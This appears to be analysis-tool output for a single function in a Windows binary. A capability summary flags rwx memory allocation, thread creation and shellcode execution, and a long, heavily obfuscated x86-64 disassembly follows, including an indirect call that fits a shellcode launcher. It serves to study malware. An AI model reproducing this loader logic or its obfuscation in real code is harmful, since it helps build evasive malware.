Function at 0x14016c850
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov rax, qword [0x140265008]
xor rax, rbp
mov qword [rbp + 0x10], rax
mov ebx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea esi, [rbx - 1]
imul esi, ebx
mov r9d, esi
not r9d
mov edi, r9d
or edi, 0x9ed7a6c
mov ebx, edi
not ebx
mov edx, esi
or edx, 0x2108010
and edx, 0xb78a27c
mov eax, r9d
and eax, 0x855800
or eax, edx
and edi, 0xb78a27c
and ebx, 0xf4020583
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x40a17629
and ebx, 0xbf5e89d6
or ebx, eax
mov eax, ebx
xor eax, 0x34125192
and r9d, 0xb5e41692
and esi, 0x4a1be96d
or esi, r9d
mov edx, esi
xor edx, 0x48124104
xor ebx, 0x494c0c44
mov edi, ebx
and edi, 0x82edaa69
and eax, 0x7d125596
or eax, edi
xor esi, 0x80e40200
and esi, 0x82edaa69
and edx, 0x7d125596
or edx, esi
xor edx, eax
not edx
or edx, ebx
cmp edx, 0xffffffff
sete byte [rbp - 0x72]
cmp r8d, 0xa
setl byte [rbp - 0x71]
mov r13, rcx
mov r15d, 0x706a724d
mov r14d, 0xf6825e78
mov r12d, 0xa867a78
mov eax, 0xdb881b75
nop
cmp eax, 0xfffc3756
jle 0x140186c80
cmp eax, 0x48c1839e
jle 0x14016cad0
cmp eax, 0x62fbde8f
jle 0x14016ccb3
cmp eax, 0x7045d123
jg 0x14016cd8d
cmp eax, 0x6ac2add3
jg 0x14016d141
cmp eax, 0x67c407a1
jle 0x14016d95e
cmp eax, 0x692ebaf9
jg 0x14016e912
cmp eax, 0x689cf47a
jg 0x1401703fc
cmp eax, 0x6854708b
jg 0x140173de3
cmp eax, 0x67c407a2
je 0x140179e88
cmp eax, 0x681058c6
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x89fcb776
mov edx, ebx
xor edx, 0x89fcb776
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x71f65418
and edx, 0x8e09abe7
or edx, edi
mov edi, edx
xor edi, 0x1f11c80
xor edx, 0xf80ae36f
mov esi, edx
and esi, 0x6606a211
and edi, 0x99f95dee
or edi, esi
and ebx, 0x6606a211
and ecx, 0x99f95dee
or ecx, ebx
xor ecx, edi
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov ebx, eax
xor bl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
xor dl, r9b
not dl
and dl, r9b
and al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
and cl, al
or dl, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb588d4e9
mov ebx, 0x6ec3374d
cmovne ecx, ebx
test al, 1
mov eax, 0xb588d4e9
cmovne eax, ecx
test dl, 1
jmp 0x1401a14db
cmp eax, 0x2605b331
jle 0x14016cd20
cmp eax, 0x37364de9
jg 0x14016cf42
cmp eax, 0x2fa7fa04
jg 0x14016d2ab
cmp eax, 0x29b8d053
jle 0x14016d9aa
cmp eax, 0x2c7eabf3
jg 0x14016eaaa
cmp eax, 0x2b487627
jg 0x14017054d
cmp eax, 0x2a160a85
jg 0x140173f11
cmp eax, 0x29b8d054
je 0x140179fec
cmp eax, 0x29e94dfe
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x4e5af9a2
and ebx, ecx
or ecx, 0xb1a5065d
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x8f386dff
and edx, 0x40429000
or edx, esi
or ecx, edi
and edi, 0x8f386dff
and ebx, 0x70c79200
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xb1a5065d
and ecx, 0x4e5af9a2
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xc7a125dc
and edi, 0x385eda22
or edi, esi
or edx, ebx
and ebx, 0xc7a125dc
and ecx, 0x385eda23
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x83e8005e
and edx, 0x128800
or edx, ecx
mov edi, edx
xor edi, 0x108800
xor edx, 0x7d042532
or ebx, 0x83fa885e
mov ecx, ebx
not ecx
and edx, 0x7d062532
and edi, 0x82f8884c
or edi, edx
and ebx, 0x7d062532
and ecx, 0x15281
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x7c0577a1
and ecx, 0x83fa885e
or ecx, edx
sete dl
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov r8d, eax
xor r8b, bl
and cl, dl
and bl, al
or bl, cl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
xor dl, 1
and dl, r8b
xor al, r8b
xor r8b, 1
and bl, r8b
or dl, bl
or cl, r8b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x378f4948
mov ecx, 0x4ad7ae3d
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, 1
mov ecx, 0x378f4948
jmp 0x1401a14db
cmp eax, 0x52acbd0b
jle 0x14016d0b9
cmp eax, 0x5b664366
jg 0x14016d3f9
cmp eax, 0x56645dc1
jle 0x14016db63
cmp eax, 0x59193bc4
jg 0x14016ebaf
cmp eax, 0x581bbee6
jg 0x140170583
cmp eax, 0x574a5a61
jg 0x140173f3c
cmp eax, 0x56645dc2
je 0x14017a001
cmp eax, 0x56def22f
jne 0x14016c950
mov eax, 0x37364dea
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x12a9be8d
jle 0x14016d0df
cmp eax, 0x1d60842f
jg 0x14016d536
cmp eax, 0x199e60ed
jle 0x14016dbd9
cmp eax, 0x1be7b50b
jg 0x14016ec9c
cmp eax, 0x1b06d176
jg 0x1401705bf
cmp eax, 0x1a9f25ac
jg 0x140173f67
cmp eax, 0x199e60ee
je 0x14017a016
cmp eax, 0x1a0e412e
jne 0x14016c950
mov eax, 0x338b1c76
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x791632bb
jg 0x14016d58d
cmp eax, 0x747b9873
jle 0x14016dd80
cmp eax, 0x76248fd7
jg 0x14016ecdd
cmp eax, 0x75c748d5
jg 0x1401705f5
cmp eax, 0x74b5ae90
jg 0x140173f92
cmp eax, 0x747b9874
je 0x14017a02b
cmp eax, 0x74b210df
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
mov edi, edx
xor edi, 0x43ff70fb
and edi, ecx
mov ebx, edx
and ebx, 0xbc008f04
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xbc008f05
and ebx, 0x43ff70fa
or ebx, edi
and edx, 0x2ee18134
mov edi, ecx
and edi, 0xd11e7ecb
or edi, edx
xor edi, 0x2ee18135
and ecx, 1
or ecx, edi
mov edx, ecx
not edx
and edx, 0xfec3c8e0
and ecx, 0x13c371f
or ecx, edx
mov edi, ecx
xor edi, 0x12c350a
xor ecx, 0xfec3c8e0
mov edx, ebx
not edx
mov esi, edx
and esi, 0x9413c2b5
and ebx, 0x6bec3d4a
or ebx, esi
or edx, ecx
and ecx, 0x9413c2b5
and edi, 0x6bec3d4a
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xdb80ab10
and edx, 0x247f54ef
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x247f54ef
and edx, 0xdb80ab10
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf61a0d36
and edx, 0x9e5f2c9
or edx, ecx
mov ecx, edx
xor ecx, 0x8e47289
xor edx, 0x26120822
and edx, 0x27138862
and ecx, 0xd8ec779d
or ecx, edx
xor ecx, 0xd8ec779d
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
and al, r8b
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x9e40705a
mov edi, 0x7e117873
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
jmp 0x1401a0088
cmp eax, 0x415a35cb
jg 0x14016d5e4
cmp eax, 0x3d588955
jle 0x14016de7b
cmp eax, 0x3fedc71f
jg 0x14016ed1e
cmp eax, 0x3df01642
jg 0x140170758
cmp eax, 0x3dd4e11e
jg 0x14017408b
cmp eax, 0x3d588956
je 0x14017a1f9
cmp eax, 0x3db31d94
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x14001
mov ebx, edx
and ebx, 0x8c0880ce
or ebx, ecx
xor ebx, 0x8c0880ce
and edx, 0x73f63f30
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x670e6deb
and edx, 0x98f19214
or edx, ecx
mov ecx, edx
xor ecx, 0x14f852db
mov ebx, edx
xor ebx, 0x14f852da
and ebx, ecx
xor edx, 0xea062104
and edx, 0xee5e21d7
and ecx, 0x11a1de28
or ecx, edx
xor ecx, 0x11a1de29
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xa5117c71
and ebx, 0x5aee838e
or ebx, esi
or ecx, edi
and edi, 0xa5117c71
and edx, 0x5aee838e
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd118f6fa
and edx, 0x2ee70905
or edx, ecx
mov ecx, edx
xor ecx, 0x40009238
xor edx, 0x2c410900
and edx, 0xbd596dc2
and ecx, 0x42a6923d
or ecx, edx
xor ecx, 0x42a6923d
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
xor dl, cl
xor cl, bl
xor cl, 1
xor bl, cl
and bl, cl
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
not cl
test cl, 1
mov ecx, 0xecff3eeb
mov edx, 0x8adb2460
cmovne ecx, edx
test al, al
mov eax, 0xecff3eeb
cmovne eax, ecx
test bl, bl
jmp 0x14019970b
cmp eax, 0x4d1c408c
jle 0x14016d839
cmp eax, 0x4e0bb47e
jg 0x14016e03c
cmp eax, 0x4d1c408d
je 0x1401a311b
jmp 0x14016c950
cmp eax, 0x79b93ce
jle 0x14016d6fe
cmp eax, 0xbd6a0ee
jle 0x14016e088
cmp eax, 0xeea90ce
jg 0x14016ee5e
cmp eax, 0xdca6070
jg 0x14017078e
cmp eax, 0xcc80e6a
jg 0x14017421f
cmp eax, 0xbd6a0ef
je 0x14017a20e
cmp eax, 0xc6f4740
jne 0x14016c950
mov eax, 0xf7117730
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x6dc0242e
jle 0x14016e25d
cmp eax, 0x6ef73f5a
jg 0x14016efd4
cmp eax, 0x6ea4c56b
jg 0x14017088b
cmp eax, 0x6df48d2a
jg 0x140174309
cmp eax, 0x6dc0242f
je 0x14017a338
cmp eax, 0x6dcf6271
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov r8d, eax
not r8d
mov edx, r8d
and edx, 0xf8825bfc
mov ecx, eax
and ecx, 0x77da402
or ecx, edx
mov edx, ecx
xor edx, 0x51da402
xor ecx, 0xf8825bfd
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
mov esi, edi
not esi
mov ebx, ecx
and ebx, 0x52e013e8
and edx, 0xad1fec16
or edx, ebx
or ecx, esi
and esi, 0x52e013e8
and edi, 0xad1fec17
or edi, esi
xor edi, edx
not ecx
or ecx, edi
and r8d, 0xc12dcc50
and eax, 0x3ed233af
or eax, r8d
mov edx, eax
xor edx, 0x3ed233af
xor eax, 0xc12dcc50
and eax, ecx
not ecx
and edx, ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete r9b
setne r8b
cmp dword [0x1402656c4], 9
setg al
mov ecx, r8d
xor cl, r9b
and cl, r8b
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
xor bl, 1
mov r10d, ebx
xor r10b, dl
or bl, dl
xor bl, 1
or bl, r10b
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, al
and dl, bl
and bl, al
xor dl, 1
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
xor r9b, al
and r9b, al
xor al, r8b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
xor bl, 1
mov ecx, ebx
or cl, al
xor bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x59e31797
mov edx, 0x93a8688a
cmovne eax, edx
test bl, 1
mov edx, eax
mov ebx, 0x59e31797
jmp 0x14018a4c2
cmp eax, 0x338b1c75
jle 0x14016e378
cmp eax, 0x3538db15
jg 0x14016f015
cmp eax, 0x343b48a8
jg 0x1401708c1
cmp eax, 0x33abb319
jg 0x140174448
cmp eax, 0x338b1c76
je 0x14017a4f1
cmp eax, 0x33904d46
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r8d, ebx
not r8d
mov edx, r8d
and edx, 0x1487e17c
mov ecx, ebx
and ecx, 0xeb781e83
or ecx, edx
mov edx, ecx
xor edx, 0xc9300480
xor ecx, 0x1487e17c
mov eax, ebx
xor eax, 0xfffffffe
and eax, ebx
or ecx, 1
mov esi, eax
not esi
mov edi, ecx
and edi, 0x264bfb3a
and edx, 0xd9b404c4
or edx, edi
or ecx, esi
and esi, 0x264bfb3a
and eax, 0xd9b404c5
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xeacf8284
and ecx, 0x15307d7b
or ecx, eax
xor ecx, 0x15307d7b
and r8d, 0xeb3b0ef
and ebx, 0xf14c4f10
or ebx, r8d
xor ebx, 0xf14c4f10
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0xd11a04a5
and ebx, 0x2ee5fb5a
or ebx, eax
xor ebx, 0x2ee5fb5a
sete al
cmp dword [0x1402656c4], 0xa
setl cl
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r8d, edx
xor r8b, al
xor al, 1
or al, bl
xor al, 1
or al, r8b
xor al, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x9f278257
mov ebx, 0x9066c140
cmovne ecx, ebx
test dl, dl
mov edx, 0x9f278257
jmp 0x1401a209b
cmp eax, 0x5e86b0d8
jle 0x14016e494
cmp eax, 0x60941afe
jg 0x14016f056
cmp eax, 0x5fb1c4ec
jg 0x1401708f7
cmp eax, 0x5f5fbd8c
jg 0x140174583
cmp eax, 0x5e86b0d9
je 0x14017a5f1
cmp eax, 0x5ebb4fc7
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r8d, ebx
not r8d
mov ecx, r8d
and ecx, 0x4155bf37
mov edx, ebx
and edx, 0xbeaa40c8
or edx, ecx
mov ecx, edx
xor ecx, 0x82200080
xor edx, 0x1558525
mov eax, ebx
xor eax, 0x8b7fc5a5
and eax, ebx
or edx, 0x74803a5a
mov esi, eax
not esi
mov edi, edx
and edi, 0x2c9a7c3a
and ecx, 0x83658185
or ecx, edi
or edx, esi
and esi, 0x2c9a7c3a
and eax, 0xd36583c5
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xad1a07c6
and edx, 0x52e5f839
or edx, eax
mov eax, edx
xor eax, 0xd99a3d9d
xor edx, 0x2665c262
and r8d, edx
and eax, ebx
or eax, r8d
xor edx, eax
test edx, eax
sete cl
cmp dword [0x1402656c4], 0xa
setl bl
mov eax, ebx
or al, cl
xor al, 1
mov edx, ebx
xor dl, cl
or al, dl
mov r8d, eax
xor r8b, 1
and cl, dl
and dl, bl
mov ebx, ecx
xor bl, 1
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x950d2907
mov ebx, 0x8fb3e10c
cmovne edx, ebx
test cl, 1
mov ecx, edx
mov ebx, 0x950d2907
jmp 0x14018b9b2
cmp eax, 0x2293552a
jle 0x14016e655
cmp eax, 0x2479b678
jg 0x14016f1fb
cmp eax, 0x23af401b
jg 0x140170a83
cmp eax, 0x235324f7
jg 0x1401745ae
cmp eax, 0x2293552b
je 0x14017a707
cmp eax, 0x22be7c88
jne 0x14016c950
mov eax, 0x5dcc139b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x7bff00a2
jle 0x14016e6a1
cmp eax, 0x7db6b18d
jg 0x14016f23c
cmp eax, 0x7cce9788
jg 0x140170b7c
cmp eax, 0x7c81caa2
jg 0x1401745d9
cmp eax, 0x7bff00a3
je 0x14017a7c9
cmp eax, 0x7c50dd55
jne 0x14016c950
mov eax, 0xb9abb88e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x45e73d94
jle 0x14016e6ed
cmp eax, 0x46c242be
jg 0x14016f351
cmp eax, 0x464cf985
jg 0x140170c62
cmp eax, 0x4623c9ec
jg 0x140174604
cmp eax, 0x45e73d95
je 0x14017a8b7
cmp eax, 0x4603cd45
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov edi, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x777e1fa4
and ecx, 0x8881e05b
or ecx, edx
xor ecx, 0x8881e05b
sete cl
setne r8b
cmp edi, 9
setg al
cmp edi, 0xa
setl dl
and dl, r8b
mov r9d, eax
and r9b, cl
or r9b, dl
xor cl, al
and cl, al
xor al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov r8d, r9d
xor r8b, 1
mov ebx, ecx
and bl, al
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, al
xor dl, 1
or dl, bl
and r8b, dl
xor dl, 1
and dl, r9b
or dl, r8b
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xa5b8453b
mov ebx, 0x86bb6486
cmovne eax, ebx
test cl, 1
mov ecx, 0xa5b8453b
jmp 0x14019f0fb
cmp eax, 0x2b400c7
jg 0x14016e7de
cmp eax, 0x18a2419
jle 0x14016f56f
cmp eax, 0x23da67f
jg 0x140170d4d
cmp eax, 0x1a0e179
jg 0x140174807
cmp eax, 0x18a241a
je 0x14017a8cc
cmp eax, 0x1999dd6
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x59e139a2
mov eax, ebx
and eax, 0xa61ec65d
or eax, edx
mov edx, eax
not edx
and edx, 0x153564bd
and eax, 0xeaca9b42
or eax, edx
mov edx, eax
xor edx, 0x80088280
xor eax, 0x40940c14
and eax, 0x73b72c75
and edx, 0x8c48d38a
or edx, eax
xor edx, 0x8c48d38a
and edi, 0x3d4a1b5b
and ebx, 0xc2b5e4a4
or ebx, edi
xor ebx, 0xc2b5e4a4
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
cmp ebx, 0xffffffff
setne al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg r8b
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
mov ecx, eax
or cl, dl
xor al, dl
not al
and al, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
and dl, r8b
mov ebx, r8d
and bl, cl
xor cl, r8b
xor r8b, 1
xor al, 1
and al, r8b
or al, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xbd085e5
mov ebx, 0x7db6b18e
cmovne edx, ebx
test cl, 1
mov ecx, 0xbd085e5
jmp 0x14018e805
cmp eax, 0x4b3421c6
jg 0x14016e8d1
cmp eax, 0x4a68b85c
jg 0x1401702ab
cmp eax, 0x498ecc32
jg 0x1401739dc
cmp eax, 0x48c1839f
je 0x14017a9fa
cmp eax, 0x4987c369
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
not ebx
or ecx, 1
mov edi, ecx
not edi
mov esi, edx
not esi
mov eax, ecx
and eax, 0xdc6aaa5b
and edi, 0x239555a4
or edi, eax
or ecx, esi
and esi, 0xdc6aaa5b
and edx, 0x239555a4
or edx, esi
xor edx, edi
not ecx
or ecx, edx
not ecx
mov eax, ecx
and eax, ebx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1867e35d
and ecx, 0xe7981ca2
or ecx, eax
xor ecx, 0xe7981ca2
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
mov edx, ebx
and dl, cl
mov r8d, ebx
xor r8b, cl
or r8b, dl
xor bl, r10b
not bl
and bl, r10b
xor cl, r9b
not cl
and cl, r9b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x4e743b23
mov ebx, 0xaf2d9605
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x4e743b23
jmp 0x1401a26bd
cmp eax, 0x65f992be
jle 0x14016f5b0
cmp eax, 0x671562a6
jg 0x140170ed3
cmp eax, 0x664b0d94
jg 0x140174953
cmp eax, 0x65f992bf
je 0x14017aa0f
cmp eax, 0x6612bccd
jne 0x14016c950
mov eax, 0xb401a24c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x274ff9ae
jle 0x14016f5f1
cmp eax, 0x281f11ed
jg 0x140170fdf
cmp eax, 0x27b74e9c
jg 0x140174a56
cmp eax, 0x274ff9af
je 0x14017ab9e
cmp eax, 0x2752326a
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0x6a9a32f6
and ecx, 0x9565cd09
or ecx, esi
or ebx, edi
and edi, 0x6a9a32f6
and edx, 0x9565cd09
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
not ecx
mov edi, ebx
xor edi, 0x5d931aef
and edi, ecx
mov edx, ebx
and edx, 0xa26ce510
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xa26ce511
and edx, 0x5d931aee
or edx, edi
and ebx, 0xdd1c70f0
mov edi, ecx
and edi, 0x22e38f0f
or edi, ebx
xor edi, 0xdd1c70f1
and ecx, 1
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xb2edd91d
and ecx, 0x4d1226e2
or ecx, edx
mov edx, ecx
xor edx, 0x491024e2
xor ecx, 0xcd180c
and ecx, 0x4cf1a0c
and edx, 0xfb30e5f3
or edx, ecx
mov ecx, edx
xor ecx, 0x61208
xor edx, 0xbb10a4b2
and ecx, 0x40265349
and edx, 0xbfd9acb6
or edx, ecx
mov ecx, edx
xor ecx, 0x265308
xor edx, 0x3cd82034
and edx, 0x7cd82075
and ecx, 0x8327df8a
or ecx, edx
xor ecx, 0x8327df8a
setne r8b
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
xor al, cl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
or r8b, bl
xor cl, bl
and cl, bl
mov ebx, r8d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, al
or cl, r9b
and r9b, bl
or r9b, dl
xor bl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, r9b
test cl, 1
mov ecx, 0x30444d23
mov edx, 0x6b1bffb4
cmovne ecx, edx
test r9b, 1
cmove ecx, edx
test al, 1
mov eax, 0x30444d23
jmp 0x1401a26bd
cmp eax, 0x5419c94c
jle 0x14016f7ce
cmp eax, 0x55be2505
jg 0x140171147
cmp eax, 0x54dd4422
jg 0x140174b64
cmp eax, 0x5419c94d
je 0x14017acc6
cmp eax, 0x54a774ce
jne 0x14016c950
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov eax, 0x97c5c8c1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x15d6976e
jle 0x14016f80f
cmp eax, 0x18e46bcf
jg 0x140171280
cmp eax, 0x17b8b5cc
jg 0x140174c41
cmp eax, 0x15d6976f
je 0x14017ae2e
cmp eax, 0x17ace703
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xe9dc73a0
and ecx, 0x16238c5f
or ecx, edx
mov r9d, ecx
xor r9d, 0x16238c5f
mov edi, ecx
xor edi, 0x5bb8499a
and edi, r9d
mov esi, r9d
or esi, 0xb2643a3a
mov edx, esi
not edx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x44cd1c90
and edi, 0xbb32e36f
or edi, eax
or ebx, esi
and esi, 0x44cd1c90
and edx, 0x912c145
or edx, esi
xor edx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x4d9bc5c4
and ebx, 0xb2643a3b
or ebx, eax
and r9d, 1
xor ecx, 0x16238c5e
or ecx, r9d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x6a7b8c55
and edx, ecx
and ecx, 0x958473aa
or ecx, eax
mov eax, ecx
xor eax, 0x81045182
xor ecx, 0x6a7b8c55
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1ed3ae68
and eax, 0xe12c5197
or eax, edi
or ecx, ebx
and ebx, 0x1ed3ae68
and edx, 0xe12c5197
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xdb8f9896
and ecx, 0x24706769
or ecx, edx
xor ecx, 0x24706769
or ecx, eax
cmp ecx, 0xffffffff
sete r10b
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, eax
xor cl, bl
and cl, al
mov edx, ecx
xor dl, 1
and dl, r9b
and cl, r10b
or cl, dl
xor bl, r10b
or al, r9b
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
